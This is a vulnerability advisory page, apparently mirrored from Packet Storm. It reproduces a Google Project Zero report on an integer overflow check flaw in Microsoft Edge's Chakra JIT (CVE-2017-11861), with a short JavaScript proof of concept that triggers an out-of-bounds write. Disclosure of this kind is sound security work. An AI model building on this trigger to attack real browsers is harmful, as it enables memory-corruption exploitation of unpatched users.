Lucene search
K

Microsoft Edge Charka JIT Incorrect Check

🗓️ 16 Nov 2017 00:00:00Reported by Google Security ResearchType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 51 Views

Microsoft Edge Charka JIT Incorrect integer overflow check in Lowerer::LowerBoundCheck metho

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2017-11841
15 Nov 201703:29
attackerkb
ATTACKERKB
CVE-2017-11861
15 Nov 201703:29
attackerkb
ATTACKERKB
CVE-2017-11846
15 Nov 201703:29
attackerkb
ATTACKERKB
CVE-2017-11840
15 Nov 201703:29
attackerkb
ATTACKERKB
CVE-2017-11871
15 Nov 201703:29
attackerkb
ATTACKERKB
CVE-2017-11858
15 Nov 201703:29
attackerkb
ATTACKERKB
CVE-2017-11837
15 Nov 201703:29
attackerkb
ATTACKERKB
CVE-2017-11866
15 Nov 201703:29
attackerkb
ATTACKERKB
CVE-2017-11870
15 Nov 201703:29
attackerkb
ATTACKERKB
CVE-2017-11873
15 Nov 201703:29
attackerkb
Rows per page
`Microsoft Edge: Chakra: JIT: Incorrect integer overflow check in Lowerer::LowerBoundCheck   
  
CVE-2017-11861  
  
  
Here's a snippet of the method.  
void Lowerer::LowerBoundCheck(IR::Instr *const instr)  
{  
...  
if(rightOpnd->IsIntConstOpnd())  
{  
IntConstType newOffset;  
if(!IntConstMath::Add(offset, rightOpnd->AsIntConstOpnd()->GetValue(), &newOffset)) <<--- (a)  
{  
offset = newOffset;  
rightOpnd = nullptr;  
offsetOpnd = nullptr;  
}  
}  
...  
if(!rightOpnd)  
{  
rightOpnd = IR::IntConstOpnd::New(offset, TyInt32, func);  
}  
}  
  
At (a), it uses "IntConstMath::Add" to check integer overflow. But the size of IntConstType equals to the size of pointer, and the "offset" variable is used as a 32-bit integer. So it may fail to check integer overflow on 64-bit system.  
  
PoC:  
function f() {  
let arr = new Uint32Array(0x1000);  
for (let i = 0; i < 0x7fffffff;) {  
arr[++i] = 0x1234;  
}  
}  
  
f();  
  
  
This bug is subject to a 90 day disclosure deadline. After 90 days elapse  
or a patch has been made broadly available, the bug report will become  
visible to the public.  
  
  
  
  
Found by: lokihardt  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

16 Nov 2017 00:00Current
7.5High risk
Vulners AI Score7.5
EPSS0.76161
51